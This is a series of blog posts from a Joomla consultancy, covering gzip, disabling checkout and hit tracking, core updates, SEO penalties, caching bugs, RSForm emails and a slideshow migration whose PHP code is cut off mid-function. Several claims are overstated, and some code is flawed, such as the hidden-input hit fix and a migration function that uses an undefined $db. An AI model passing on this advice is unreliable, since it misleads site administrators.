Gzip Page Compression in Joomla Can Cause a High Server Load

Everyone talks about the benefits of using gzip on Joomla sites (you can enable it by logging in to the backend and going to Site -> Global Configuration -> Server, and then choosing “Yes” next to Gzip Page Compression), but nobody tells you the whole story. The whole story is that gzip, in general, only works well on small websites, where it’s not really needed…

Let us explain ourselves, but before doing that, let us give you an idea on how gzip works…

So, how does gzip work?

Gzip is a small program on the server that compresses the HTML code before sending it to the client. So, if you visit the homepage of a Joomla website, Apache redirects the call to PHP, which then parses the page and generates the HTML code, and just before sending that HTML code to your browser, the gzip program compresses the HTML, and tells Apache that it’s done, and then Apache pushes the HTML to you. Once the browser receives the compressed (or zipped) HTML, it’ll unzip it (all modern browsers support this functionality) and will display it properly for you to see it.

So, why is it good?

It’s good because those with slow connections will save on bandwidth – for example, if the HTML page is 1 MB long (without the media, which is rare), then the zipped version can be a tenth of that size (or even less), thus saving the user some substantial bandwidth, and making the site load much faster.

And why is it bad?

It’s bad because it only works on small sites – if you have a large site, and that zipping program runs for every request, then your server’s load will increase dramatically (we’re talking about a triple digit load here), and your website will, sooner or later, crash. You will start feeling the gzip reverse effect once you have a few thousand articles on your Joomla site and a few thousand visitors every day.

We’re amazed that this wasn’t mentioned anywhere else because it’s such a huge issue: several of our large clients had serious problems and downtime because of gzip. They thought they were doing the right thing by having it enabled, but it turned out that it was making things worse, much worse!

But even on small sites, is gzip needed?

Not with today’s connection speed no – the performance gain is not even noticeable. Gzip was a good idea back in the days when people were using 56K modems – not anymore. Nowadays virtually anyone who’s connected to the Internet (on this planet) has at least a 1 Mbps connection, so loading speeds, are rarely, if ever, the visitor’s issue.

If your website has gzip enabled and it’s causing you issues, then you can disable it confidently, because it’s not that useful anyway. If you’re still not convinced, please contact us and we’ll do the explanation for you. Note that our affordable fees apply!

How to Disable Checkout in Joomla

Note: This post contains a core modification, which means that the next Joomla update may overwrite it.
Another note: This post only applies to Joomla 2.5. The below will not work on Joomla 3.x.

According to our customers, one of the most annoying features in Joomla is the checkout feature. Yes, this feature does the right thing by not allowing more than one person edit the same content at the same time, but it creates a bigger issue, such as locking content from being edited when that person doesn’t close the content when done with it. Of course, one can easily go to Site >- Maintenance >- Global Check-in to check-in all the tables, but the problem is that this action can only be done by a super user.

Many of these annoyed customers ask us to disable the checkout feature completely, and so we do this for them, here’s how:

  • We open the file modelform.php, which is located under the libraries/joomla/application/component folder.
  • We add the following line to very beginning of the function checkout:

    return true;

  • We save the file and we upload it back to its corresponding place.

  • That’s it! We have completely disabled the checkout feature in Joomla!

But isn’t there a better way to disable checkout?

The method described above is the fastest way (it literally takes less than a minute to implement), but it’s not ideal, since we are modifying the core. A better (albeit much more lengthy) way for doing this is to develop a system plugin that will run on every page load in the backend, and will reset the checked_out field (e.g. set it to zero) in all of Joomla’s content tables. This plugin shouldn’t take a lot of time to develop, but it’s definitely not as easy to implement as the above method!

Why doesn’t Joomla have a setting in the configuration settings to easily disable the checkout feature?

We don’t know – it might be that the Joomla team is overly concerned about concurrency issues, or it might be that Joomla users are used to this very old feature and have now accepted it. (By the way, WordPress doesn’t have this feature).

If you need help disabling the checkout feature in Joomla, then all you need to do is to shoot us an email or give us a call, and we’ll do it for you, either by modifying your Joomla website’s core or by creating a plugin and installing it on your site. Our work is fast, our quality is top-notch, and our fees are super affordable!

How We Update a Joomla Website with a Modified Core

Note: Make sure you backup your Joomla website before following the guide below. You should backup both the filesystem and the database.

We are lately getting many Joomla 2.5.x websites with modified core to update to the latest version of Joomla. Obviously, this is a very delicate task because a Joomla update can (and most likely will) erase all the core modifications that were done on the website, or worse, erase some of the core modifications (while leaving some modifications) and potentially make the Joomla website unstable.

Probably your question is, “How do these guys do it?” Well, here’s how:

  • We first download a clean copy of Joomla with the exact version that the client has. For example, if the client has version 2.5.11, then we download a fresh copy of Joomla 2.5.11 from Joomla’s official website. Clearly, the version that we download from joomla.org is untampered with.
  • We then extract the downloaded Joomla installation file to a folder called clean, under the root of our client’s Joomla website.

  • We then loop recursively through all the files in the clean folder, and we compare them to their peers on the actual website. For example, we compare the file articles.php in the folder clean/components/com_content/models to the file articles.php which is located in the folder components/com_content/models. We compare the files using the md5_file function.

  • If, during the loop, we find that a file is not identical to its peer, then we store the full path of that file in a file called modified.txt, which is located under the root directory of the website. We then continue the loop. When the loop ends, we will have the full path of all the modified files stored in the modified.txt file.

  • We then download the most recent copy of Joomla (e.g. 2.5.17 at the time of publishing this post), and then we extract it to a folder called v2 under the root directory of the website (the same as if we’re doing a migration).

  • Now the real and challenging work begins: we check each modified file (which path we have in the modified.txt file) for the modifications (we compare it manually with the file of the same Joomla version), and then we port the changes to the identical file of the latest Joomla version. In other words, if the file articles.php under the components/com_content/models was modified, then we port those modifications to the file articles.php which is located under the v2/components/com_content/models folder).

  • Once we finish porting all the file modifications, we copy all the files from the v2 directory to the root directory of the Joomla website, essentially overwriting the existing files.

  • That’s it! The Joomla website is updated and the core modifications are preserved.

As you can see, the process is a bit hard and delicate, and requires an experienced Joomla (and PHP) developer. If you don’t consider yourself falling into this category, then you might want to hire one who does (well, you can always hire us!).

Some caveats

  • Some Joomla websites not only have their core modified, but they also have their database modified. Technically, this shouldn’t cause any problem, but we’re usually extra careful when we work on such websites.
  • Ensure that your Joomla error reporting is set to None in the global configuration settings when you do the update. Otherwise, your visitors might see errors that might compromise the security of your website.

  • This guide only works for an update, and not for a migration. In other words, it won’t work if you’re moving from 1.5 to 2.5, or from 2.5 to 3.x.

We hope that you found our guide helpful. If you need help implementing it, then we’re always here for you. Just contact us and we’ll do the update for you in as little time as possible for a very affordable cost.

15 Reasons Your Joomla Website Got Penalized by Google

We get a couple of call every week or so from new clients telling us that their Joomla website got penalized by Google. The first question that we ask them is: “Are you sure you got penalized?”, and the second question is: “How did you know you got penalized?”.

The answer to the first question is usually always “Yes, we’re sure”. The answer to the second question is: “Well, our website used to appear among the top 5 results for certain keywords, but now it doesn’t”. So, we tell them that dropping from the top 5 results (even from the first page) doesn’t always mean a penalty. In fact, in most cases, the reason for this drop is a change in Google’s ranking algorithm (Google claim that they make hundreds of changes to their search ranking algorithm every year). An actual penalty is when the website drops 30 or 50 spots. And so they ask us 2 other questions: “What caused my Joomla website to get penalized by Google?” and “How can I recover from a Google penalty?”. The second question has been answered by hundreds of websites, and we think that most answers are wrong. A Google penalty can be very hard to recover from (often requires years – however, some websites recover fast, but we suspect they do so because of a manual intervention on Google’s end). In any case, we will not elaborate in this post on how to recover from such a penalty, and we will only focus on the first question (we believe that understanding the reasons may help in the recovery).

So, without further delay, let us discuss the 15 reasons (in no particular order of importance) that may cause a website to be penalized by Google:

  1. Website getting hacked on a regular basis: If your website gets hacked the first time and then you fix it, then Google will definitively forgive you. If it gets hacked the second time, then it may forgive you. Now if your website gets hacked regularly, then Google will think (and rightly so) that you are not serious about your website and will penalize it. Always keep your Joomla website up-to-date, and make sure you are following these security tips.
  2. Errors in your .htaccess file: A good .htaccess file can greatly boost your search engine rankings. A bad .htaccess file can cause your website to be penalized. Be very careful when you make changes to your .htaccess file because a simple change can wreak havoc upon your rankings. If you get hit with a penalty, immediately have a professional take a look at your .htaccess file.

  3. Over-optimization: Optimizing your website for search engines is good, but over-optimization can red-flag it quickly. Over-optimization is never perceived by Google as a good thing, and, as such, is often penalized. Be careful when you start optimizing, don’t shock Google. Do your optimization over weeks or even months if you have a very large website. Never do everything in one shot, even if you’re following Google’s own guidelines for a clean, respectable website.

  4. No unique content: A client called us yesterday and told us that his website was penalized. After a quick investigation, we discovered that he didn’t have a single article on his website that was unique. All his articles were copied from other websites without any credit. This duplicate content is nearly always penalized by Google, sooner or later (by the way, our client told us that he was doing this for years). Always have unique, well written content on your website and Google will eventually reward you.

  5. Writing only very short posts: Very short posts are considered by Google as a method to gain long tail traffic. While very short posts are accepted if they constitute a small percentage of your content, they will definitely harm your website when they constitute the majority of your content, especially when they are intentionally used to lure long tail keywords.

  6. Using titles that have nothing to do with your actual content: If you are using titles that are not, in any way, related to your content (and you are doing this most of the time), then Google will perceive this as a deceptive method and will penalize your website. Always use titles that are related to your content.

  7. Hiring the wrong person for a quick SEO boost: If we had a dime every time someone tells us that they got penalized after they hired a person who promised to quickly boost their search engine rankings, we’d have a whole lot of dimes (not enough to make us rich, but close). So called experts pretending that they will immediately boost your search engine rankings if you give them a few thousand dollars will often use dark techniques that will give you that boost for a month or two, and then immediately get your website penalized, permanently. They will then, of course, tell you to pay them more money to restore your website, and will blame the penalty on a change in Google’s algorithm claiming that the work they did has nothing to do with what happened. Be very wary of who you hire for SEO.

  8. Allowing spam on your website: If your website has a lot of spammy comments with links directing your visitors to obscene/malware websites, then it’ll only be a matter of time before it gets penalized. You should always monitor your user generated content, whether it’s articles, comments, or forum posts, and you should be proactive in removing spam from your website and banning those responsible for the spam.

  9. Keyword abuse: Keyword abuse is also referred to as keyword stuffing, and is the practice of including the same keyword several times in a particular post to increase the search engine rankings for that post when people search for that particular keyword. Keyword abuse can get the offending page to be penalized, and, can cause the whole website to get penalized if used sitewide. You should always monitor the density of your keywords (but then again, if you are monitoring the density of your keywords, then this means that you are doing something wrong and you know it, and this’ll eventually get you in trouble with Google).

  10. Tag abuse: We don’t think highly of tags, and neither does Google. Many website owners use tags to attract long tail keywords (causing a Google penalty), which is a wrong practice. Tags should be as few as possible and should be related to the post.

  11. Too many spelling/grammar mistakes: Google’s algorithm is getting stricter and stricter with each update. A few years ago, it was lenient towards websites with many grammar mistakes – no more. If you don’t care about grammar and spelling when you’re writing your articles/posts, then expect Google to penalize you at one point. Always make sure that your sentences can be read and comprehended by people other than yourself, and that they don’t contain any grammar or spelling mistakes.

  12. Slowness: Google’s search engine doesn’t want to direct traffic to websites that take many seconds (or even minutes) to load, but rather to websites that load instantly. If your website falls into the first category, then it may get penalized, or, at best, it will drop a few spots in the search engine rankings to the point where your search engine traffic is significantly reduced (note that statistically, most people look only at the first 5 results when searching on Google – only those who are very desperate to find the right information look past the first page). Always ensure that your Joomla website loads quickly (you may want to read how we made a Joomla website 200 times faster).

  13. Too many errors: Notices, warnings, and fatal errors are tolerated by Google, but to a certain point. If your website has errors on every single page, and if many of your pages have fatal errors, then don’t expect Google to be merciful. Note that sometimes errors can appear on your website suddenly, without you even making a single change (these errors usually happen because of a modification on the hosting server, such as an Apache/PHP/MySQL upgrade). Make sure that you always set the Error Reporting to None in your configuration settings on your production website to suppress all errors from your website.

  14. Overlinking internally: Whenever you write an article, make sure you don’t have more than a few links pointing to your other articles. Swamping your articles with links to other places on your website is not a good practice, and you may have to pay dearly for it.

  15. Overlinking externally: Overlinking externally is even worse than overlinking internally, because it labels your website as a spam website mainly used to inflate the search engine standings of other websites. It may also alert Google that you’re selling links (even if you’re not), and selling links is a forbidden practice that is severely penalized. External links have zero positive effect on your search engine rankings, and can have severe negative effects when there’s a lot of them. Note that a huge red flag is an external link that is added to any of your posts many months after it’s published (it definitely means that you’re selling links from Google’s perspective).

We hope that you found this post useful and you have learned from it. If your website got penalized by Google, then your only option is to learn from the above and perhaps submit a reconsideration request with Google (you never know). If you need help with the technical issues mentioned above (such as the fatal errors or the optimization), then please contact us. We are experts in Joomla, we are quick, we work every single day, and our fees are very affordable.

Blank Page When Trying to Edit a Gantry Template in Joomla’s Backend

We had a call earlier this week from a client telling us that whenever he tries to edit his Gantry template from Joomla’s backend, he gets a blank page. Hmmm!

We tried to edit the Gantry template ourselves but we also got the blank page… Of course, there are many, many reasons that cause the dreadful blank page issue in Joomla, but the problem with this one, is that even after we set the Error Reporting value to Maximum, the blank page was still there, and no error was displayed…

So we did some debugging until we found the root of the problem; it was this line located in the function display which is located in the view.html file (which, in its turn, is located under the administrator/components/com_gantry/views/template folder of the Joomla website):

$model->checkForGantryUpdate();

The above line is a function call that checks whether Gantry has released an update for its core or not, and if yes, it’ll tell the user about the update. Now, the issue with the above function is that not only it checks if there are updates for Gantry or not, but it’ll also check for updates for all the extensions, and this is the heart of the problem. Some old/not very well maintained extensions have a wrong update URL, which makes the whole function fail silently, and hence resulting in a blank page.

So, how can this problem be fixed?

A quick way to fix the problem is to remove the aforementioned line from the display function. Technically, this method doesn’t fix the problem, but it avoids it. It’s very quick, but the downside for it is that Gantry won’t be able to check for updates when in edit mode (which, in our opinion, is not extremely necessary).

A better way to fix the problem is to locate the problematic extension and either uninstall it or exclude its update script from the batch update process. Here’s how you can find out which extension is the culprit:

  • Login to the backend of your Joomla website.
  • Go to Site -> Global Configuration -> Server, and then set the Error Reporting to Maximum.

  • Go to Extensions -> Extensions Manager and then click on Update, and then click on Find Updates on the top.

  • You will see some fatal errors that will tell you which extension(s) has(have) problems being updated.

Now, once you find that extension, you have 2 choices:

  1. Uninstalling the extension (which is very easy but most likely not the desired action) OR

  2. Disabling the update script for that extension.

As stated above, uninstalling the extension might not be what you want, so you’re better off with disabling the update script for that extension. This can be done the following way:

  • Login to phpMyAdmin and select the database that is powering your Joomla website.
  • Go to the #__update_sites table and search for the extension that you’re having problems with.

  • Set the field enabled to 0 for the matching row. This will ensure that this extension will no longer be included in the batch extension update.

Now, the big question is, why does Gantry, in edit mode, show a blank page instead of the error even on maximum error reporting?

Well, it’s because in the function checkForGantryUpdate in the Gantry model, the call to findUpdates on the JUpdater object is preceded by the @ sign, which suppresses any error, regardless of Joomla’s error reporting or even PHP’s native error reporting. Clearly, the Gantry team felt that it’s better to display a blank page on error and confuse their clients instead of actually displaying the error.

In any case, if you’re having the same issue, then we hope that our post was helpful. If you felt that it was a bit complicated or if you felt that you need some help implementing it, then fear not – all you need to do is to contact us and we’ll fix it for you in no time and for a very reasonable cost!

Why Tags Can Hurt Your Joomla’s Search Engine Rankings

A new client called us today and told us that his Joomla website was penalized by Google. The client told us that his Joomla website slowly lost its rankings over the past few months, until it got penalized.

We did a very quick investigation and we discovered that ever since Joomla 3.1 was out, our client started using content tags in his articles. Unfortunately, our client was unknowingly abusing the Joomla tags. He was creating 4 unique tags/article, and he was creating about 10 new articles every day. In other words, every day, he had 40 new tags. Google considers this to be a spammy practice. Tags are meant to be as few as possible and they are meant to be re-used. Our client was never re-using tags.

But why does Google considers overusage of tags to be spam?

Tagging is nearly a decade old, and tags were initially used as a mean for extra categorization (in order to group related content items together). Google was happy to index these new “categories”. But, sooner rather than later, web spammers started using tags to drive long tail traffic by creating several “sentence tags” for each article/post. Google took notice of this practice and tweaked its search algorithm to address the abuse of tags. Ever since that, tags are not a welcome practice for Google, and their slightest abuse could cause a penalty.

So, there are no benefits for using tags?

Not anymore. The moderate use of tags has no SEO benefits whatsoever, and their abuse can cause the website to be penalized. Tags should be avoided and are considered to be a bad SEO practice.

But why do people still use tags on their websites?

Every single client we have worked with and that has used tagging told us that he used it based on the recommendation of a so-called “SEO specialist”. Unfortunately, our clients don’t know until it’s too late that they were conned. Most of these “SEO specialists” ask people to do something wrong, and then they ask them for money to fix the harm that they caused. It’s a really bad way to earn a living.

So, what should one do if he’s already using tags?

If you’re using tags on your Joomla website, then disable them. If you think that these tags are beneficial to your users or if the tags are technically crucial to your website, then you can add a meta tag of noindex, nofollow on every tag generated page.

If your website got penalized because of tag abuse, then try disabling the tags and then wait for a few weeks/months and see if the penalty is lifted (note that there are no guarantees for a website to gain its previous rankings with Google if it was previously penalized). If you need help with disabling your tags, then please contact us. We can do this for you in no time and for very little cost!

How to Remove Unused Files from Your Joomla Site

Note: Before starting, we would like to explain what we mean by “files” in the title of this post. By files, we mean media files (such as images, videos, mp3s, etc…) and documents (such as PDF files and Word/Excel/Powerpoint documents, etc…).

Another note: This post assumes that no file is linked to directly from outside sources. Any link to a file in your filesystem is assumed to be incoming from your website itself, and not from elsewhere.

A great way to keep your website clean is to remove unused media/document files periodically. Such files may be image files, music files, video files, PDFs, Word documents, etc… Of course, this cleanup job can be done manually, but it might take a very long time if done this way. A better way would be to develop a script that will do this task automatically. Here’s what such a script should do:

  • It will first create an index of all the media/document files available on the website. For example, it will loop through the images directory (and all the sub-directories) and it will create a record of every single image (including its path). This information can be stored in a text file or a database table.

  • Once the index of all the media/document files is created, the script must loop through all the template files and create an index of the used media/document files (let’s call this index the filesystem index). When that task is done, the same script must loop through all content tables (such as the #__content table) and create another index of the used media/document files in the database (let’s call this index the database index).

  • Once all the indexes are done, the script must loop through the index of available files and check if each one of these files exists in the filesystem index or the database index. If a match is not found in either index, then the script will automatically delete it from the filesystem (or move it to a folder outside the website directory).

  • Once the above task is done, the script will create a report of all the deleted (or moved) files.

As you can see from the above, this is a relatively easy script, and shouldn’t take a long time to develop. If you need help developing it, then please contact us. We can create this script for you in record time and for a very affordable cost!

“Email could not be sent.” Error When Emailing Articles on a Joomla Website

Using caching in Joomla will come back to haunt you. (Source: the team at itoctopus!)

If you are using caching on your website, and we’re not even talking about page level caching, just global caching, you might have experienced some broken functionality here and there. Even if you haven’t noticed anything wrong on your website, chances are, there is something wrong but you don’t know where it is. Even in 2014, caching in Joomla is still unreliable and can cause stability issues.

One of the common problems that are related to caching is the inability to email the link of an article to a friend: when someone tries to use this functionality, he gets the following error after filling in the form and pressing on submit:

Email could not be sent.

There are two ways to solve the problem:

  1. Disable global caching: You can disable global caching by logging in to the backend of your Joomla website, and then going to Site -> Global Configuration and then clicking on System, and then on the right side, under Cache Settings, choosing OFF – caching disabled next to Cache, and finally clicking on the Save button on the top right. This will fix the problem, however, this fix will also make your website slower (much slower if you have a large website). We usually opt for this solution when the website is quite small (and will remain small) and caching is not really needed.
  2. Disable content caching: For some reason, enabling global cache, also enables some sort of content caching, which is not the right behavior, since content caching is controlled by the System – cache plugin. In any case, to disable content caching, you should do the following:

    • Open the file controller.php, which is located in the component/com_content folder .
    • Remove the following line from the beginning of the display function:

      $cachable = true;

    • Save the file and upload it back to your Joomla website.

    This solution will fix the problem, and will not have a drastic effect on the performance of your website.

But, why is the problem related to caching?

We’re glad you asked! You see, when you load an article, Joomla runs a script to generate a hash for that article, and then associates that hash with the URL of the article. The link for “emailing the article to a friend” will contain that hash, and so, when you fill in the popup form and click on Submit, Joomla will check that hash, and will get the article’s URL based on the hash, and then will email the link of the article to your friend. Joomla does this whole hash thing to prevent spammers from using your website as a mean to spam other people.

Now, this is all fine, but the problem is that the association between the hash and the article’s URL is stored in the session. When the content is cached, then all the session activities that are related to this task are skipped (including the storage of the URL and the hash in the session), which means that Joomla will no longer know which article’s URL corresponds to the hash, and thus, will prevent the email from being sent.

Now, if you have this problem on your website, then try first to disable caching and see if it solves the problem, if it does, and if you really need caching, then re-enable caching and implement the second method above. If you need help in the implementation, then just contact us and we’ll do it for you in no time and for a very affordable fee!

How to Make Your Joomla Website W3C Compliant

Let us start this post by explaining, in very concise terms, what is W3C compliance:

W3C compliance is ensuring that the page has no HTML errors according to the W3C standards.

W3C compliance has several benefits:

  1. It’s good for SEO: It is well known that Google, as well as other search engines, consider websites that are W3C compliant as “clean” and “well-maintained” and rank them higher in their search results.

  2. It resolves formatting errors on your website: Making a website W3C compliant resolves most formatting errors on your website (e.g. formatting errors caused by unclosed tags or non-existent properties).

  3. It makes your website faster to load on the browser’s end: A website that is plagued with HTML errors will load slowly, mainly because the browser will need to spend more time correcting the HTML code in order to display it properly (or at least to try to display it properly) for the end user.

Now, after reading the benefits of W3C compliance, you are probably more interested than ever in making your Joomla website W3C compliant.

Here’s how to do this: Go to validator.w3.org and validate your website, and see what errors you see, then go ahead and fix each and every error/warning you see.

You should first start with fixing the template errors, these HTML errors are found in your template files (e.g. the index.php under your templates/[template-name] folder and all the files under the html directory under the aforementioned directory).

Once you do that, you should fix the HTML errors in your modules’ template files. Your modules’ template files are located under the modules/[module-name]/tmpl folder.

Once you have fixed the HTML in the modules, then your next step is to run the HTML validator again. If your website is still not HTML valid, then most likely you still have some HTML errors in one or more of the following:

  • Your content: For example your articles or your K2 articles (in case you have K2 installed). If your homepage is not validating, then you should check the HTML of the article that is displayed on the homepage.
  • A 3rd party content plugin: A content plugin makes some modifications to your content prior to serving it to your clients. If the content plugin injects some wrong HTML, then your website won’t validate. Disable content plugins one by one and see if that solves the problem. If and when it does, then the last content plugin disabled is the cause of the problem. Note that Joomla’s content plugins do not cause issues in your HTML, so your best bet is to check 3rd party content plugins.

  • A 3rd party component: If you’re displaying a 3rd party component on the homepage, then the problem could be a wrong HTML in the template files of that component, which are found in components/component-name/templates. You should check these files for any errors, and fix these errors, if any.

If you’re having some hard time in making your Joomla website W3C compliant, then all you need to do is to contact us and we’ll handle this issue for you. We are professional and proficient in Joomla, we are fast, and we won’t charge you much.

How to Easily Create Notification Emails for Form Submissions in RSForm

We love RSForm – it is by far the best form builder out there. We think that Joomla is blessed to have RSForm in the JED. One of the nicest things about RSForm is that it’s very flexible: there’s always a solution to whatever you want done, regardless of the complexity. OK – enough flirting!

Earlier today (well technically yesterday, since its 1:45 AM here in snowy Montreal) we had a client with quite a few RSForms on her website, and each of these RSForms had literally over a hundred field. The client told us that when someone fills in one of her forms, the notification email that she receives has this single line:

You have a new submission.

Not very helpful! As you have probably guessed, our client wanted to see, in that notification email, all the fields that her clients fill in. This means that we have to manually create the submission email for each form, a task that can take us many hours (remember, our client had many forms, and each one of these forms had over a hundred field). This is not very practical for 3 reasons: 1) we really, really don’t like doing manual work and we avoid it as much as possible, 2) our client’s budget didn’t accommodate the number of hours we estimated if we wanted to manually create these emails, and 3) our client will need to call us to modify these emails every time she adds/edits/removes a field. All in all, doing this task manually seemed to be a far-from-ideal solution. We needed to do it differently!

Thankfully, RSForm allows you to run a script when the form is being processed (e.g. on form submission, just before the form’s information is added to the database). This means that all we need to do is to get all the information that the user filled in from the POST array and email it to the administrator. Let’s explain how we did it:

  • We logged in to the backend of the Joomla website of our client.

  • We went to Components -> RSForm! Pro -> Manage Forms.

  • We clicked on the name of the form.

  • We clicked on the Properties tab on the right (just next to the Components tab, which is selected by default).

  • We clicked on PHP Scripts under Scripts on the left.

  • We added the following code in the Script called on form process textarea:

    $myform = $_POST['form'];
    $body = "";
    $k = 0;
    foreach ($myform as $key=>$value){
    	$k++;
    	if ((!empty($value)) && ($k < count($myform) - 2)){
    		$body .= $key.":".$value."<br />";
    	}
    }
    $mailer = JFactory::getMailer();
    $config = JFactory::getConfig();
    $sender = array('[our-client-email]','[our-client-email]');
    $mailer->setSender($sender);
    $mailer->addRecipient('[our-client-email]');
    $mailer->setSubject('[form-title]');
    $mailer->setBody($body);
    $mailer->isHTML(true);
    $mailer->setBody($body);
    $mailer->Send();

    The above code will send an email with all the filled-in fields to our client.

  • We clicked on the Save button on the top.

  • We then clicked on Admin Emails on the left, and then we removed our client’s email from the To field (this will ensure that our client will no longer get the meaningless You have a new submission email).

  • We clicked on Save on the top right, and then we tested the form, and our little script worked like a charm. Our client was happy, and we were happy!

Good work! But, is there a way to format the notification email?

Of course you can format that email. All you need to do is to add your own formatting to the code above.

What if the form changes?

If the form changes, then the email will change as well, because it’s dynamic. It actually checks which fields the user filled in and only sends the value of those fields to the site owner. This means that any form modification will not affect the integrity of the script.

What if this script doesn’t work for me?

If you have tried our script and it didn’t work for you, then please give us a call or shoot us an email, and we can implement this solution for you in no time and for a very affordable cost!

How to Disable Hit Tracking on Joomla

Many Joomla administrators know how to hide hit tracking on a Joomla article – they can do this simply by clicking on the article title in the Article Manager, and then clicking on Options button on the top right, and then setting the value of Show Hits to Hide. Setting this value will automatically hide the Number of Hits on any article’s page. But, it will not disable hit tracking, in other words, every time you load an article, the hits value of that article will be incremented by 1 (although it will not be displayed).

But what if, for one reason or another, you might want to disable hit tracking altogether (by the way, hit tracking can cause some load issues if your Joomla website has a lot of traffic and tens of thousands of articles)? Well, this can easily be done the following way:

  • Download the file article.php located under the components/com_content/models folder.

  • Open the aforementioned file, and add the following line to the beginning of the hit function:

    return true;

  • Upload the file article.php back to your Joomla website.

  • That’s it!

After doing the above, hit tracking will be completely disabled!

But, aren’t we changing a core file?

Yes, we are, and it is something that is not ideal, but this is the fastest solution. A better way to disable hit tracking is to open up the template file for the article page (e.g. templates/[your-template-name]/html/com_content/article/default.php) and add the following line:

<input type="hidden" value="0">

This solution will ensure that you’re not changing any core file, and, in our opinion, it’s a much better solution.

If you need help in completely disabling hit tracking on your Joomla website, then why not contact us? We can do it for you in no time and for a very reasonable fee!

How to Redirect a User to a Specific Page on Frontend Login

On some occasions, you may wish to redirect specific users to specific pages when they login to your website. For example, if a user hasn’t logged in for a long time, then, you may want to redirect him to a specific page where he can see the latest additions to your website. Another example would be when a user logs in for the first time, in this case you may want to redirect him to a guide on how to use your website. Yet another example we can think of is to redirect people belonging to specific groups to specific pages.

Unfortunately, Joomla, by default, cannot do this, but, it can be easily adapted to do so. How? We hear you ask. Well, all you need to do is the following:

  • Download and install Jumi, the Joomla extension which allows you to add PHP code anywhere on your website.

  • Create a Jumi that will read the user’s information and redirect to the proper page.

  • Create an article called Main Login (you can name it anything else), and in that article, insert the Jumi created in the step above.

  • Create a menu item called Main Login that will point to the article created in the previous step.

  • In the login module, choose Main Login as the login redirection page and save the module.

  • That’s it!

As you can see from the above, doing this task is extremely easy, all you need is some basic PHP programming skills. You can also use the same technique to redirect specific users to specific pages on logout.

If you need some help developing the above solution, then feel free to contact us. Our rates are extremely affordable, our work is professional, and we are the friendliest programmers in this galaxy!

How to Migrate Frontpage SlideShow from Version 2.0 to Version 3.5

Ask any programmer what kind of work he dreads (and dislikes) most, and he’ll invariably answer you: “It has to be manual data entry”. Since we are programmers, then that answer applies to us as well. But hey, life isn’t always about doing the things that you love, sometimes, you’ll need to do things that you really don’t love, for the greater good. OK, let’s get not too philosiphical here, and let us explain to you what happened yesterday afternoon…

We were migrating a Joomla website for a New York photographer; we thought that we were almost done since the only thing left to do was to migrate his slideshows. Our client was using Frontpage SlideShow (by JoomlaWorks) and he had nearly 3,000 slides spread over something like a hundred categories. We weren’t worried, because we knew that JoomlaWorks products were solid and extremely easy to migrate (K2 is a great example). However, after doing an extensive search, we discovered that the advice that JoomlaWorks gives to its users is to migrate the SlideShow component manually! In other words, a human must create all the categories, one by one, and then create the slides, also one by one, until he reaches retirement age or until the project is done. That’s not good! What’s even worse is that no one has developed a script to automate that!

Now, we discussed this project for a while amongst ourselves: If we want to create the categories and the slides manually, and assuming it takes 1 minute per category and 5 minutes per slide (one needs to download the slide from the old website and re-upload it to the new website), then it’ll take us 100 minutes for the categories and 15,000 minutes for the slides. In other words, it’ll take us 252 hours of pure, uninterrupted work to migrate the slideshow, way over the 40 hours we agreed on with the client to migrate the whole Joomla website! Since our fees were fixed (we can’t charge the client for more than 40 hours) and since we don’t have that much time on our hands (and also since we really, really, don’t like doing manual work) we had to develop a solution to migrate the slideshows automatically. And so we did!

We thought – what if we perform the same actions performed when creating a category and a slide from Joomla’s backend, but in a loop? In other words, what if we modify the models for the category and the slide in order to migrate the data. That idea worked, and the proof is below.

How we migrated Frontpage SlideShow’s categories

In order to migrate the categories, we opened the model file category.php located under the administrator/components/com_fpss/models/ folder. We changed the save() function to the below:

function save()
{
	$sql = "SELECT * FROM jos_fpss_categories";
	$db->setQuery($sql);
	$arrCategories = $db->loadAssocList();
	for ($i = 0; $i < count($arrCategories ); $i++){
		$row = JTable::getInstance('category', 'FPSS');

		$data = $this->getState('data');
		$data['title']= $arrCategories [$i]['name'];

		if (!$row->bind($data))
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->id)
		{
			$row->ordering = $row->getNextOrder();
		}
		if (!$row->store())
		{
			$this->setError($row->getError());
			return false;
		}
	}
}

We then uploaded the file and we created a dummy category in FPSS SlideShow, and we clicked on the “Save” button, and that migrated all the categories! Not bad! We immediately reverted back the category.php to what it was when we were done.

How we migrated the Frontpage SlideShow’s slides

We employed the same principle above for migrating slides, but with a twist since the way the images are saved in the 3.5 version differs greatly from that in the 2.0 version. So, we first copied the images folder from the components/com_fpss/ folder from the old website to the same location on the new website (e.g. the components/com_fpss/images on the new website) to ensure that the new website has access to these images.

We then modified the save() function in the slide.php model file (also located under under the administrator/components/com_fpss/models/ folder) to the following:

function save()
{
	$db = $this->getDBO();

	$sql = "SELECT * FROM jos_fpss_slides WHERE state=1 ORDER BY catid ASC, ordering ASC";
	$db->setQuery($sql);
	$arrSlides = $db->loadAssocList();

	$k = 4;
	for ($i = 0; $i < count($arrSlides); $i++){
		++$k;
		$row = JTable::getInstance('slide', 'FPSS');
		$config = JFactory::getConfig();
		$tzoffset = version_compare(JVERSION, '3.0', 'ge') ? $config->get('offset') : $config->getValue('config.offset');
		$data = $this->getState('data');
		$data['title']= $arrSlides[$i]['name'];
		$data['catid']= $arrSlides[$i]['catid'];

		$filename = $k.'_'.md5('Image'.$k);
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/src/'.$filename.'_s.jpg');
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/cache/'.$filename.'_m.jpg');
		copy('/'.$arrSlides[$i]['path'], '/media/com_fpss/cache/'.$filename.'_p.jpg');
		copy('/'.$arrSlides[$i]['thumb'], '/media/com_fpss/cache/'.$filename.'_t.jpg');

		if (!$row->bind($data))
		{
			$this->setError($row->getError());
			return false;
		}
		if (!$row->check())
		{
			$this->setError($row->getError());
			return false;
		}

		$date = JFactory::getDate($row->publish_up, $tzoffset);
		$row->publish_up = version_compare(JVERSION, '1.6.0', '<') ? $date->toMySQL() : $date->toSql();
		if (trim($row->publish_down) == JText::_('FPSS_NEVER') || trim($row->publish_down) == '')
		{
			$row->publish_down = $db->getNullDate();
		}
		else
		{
			$date = JFactory::getDate($row->publish_down, $tzoffset);
			$row->publish_down = version_compare(JVERSION, '1.6.0', '<') ? $date->toMySQL() : $date->toSql();
		}
		$now = JFactory::getDate('now', $tzoffset);
		$user = JFactory::getUser();
		if ($row->id)
		{
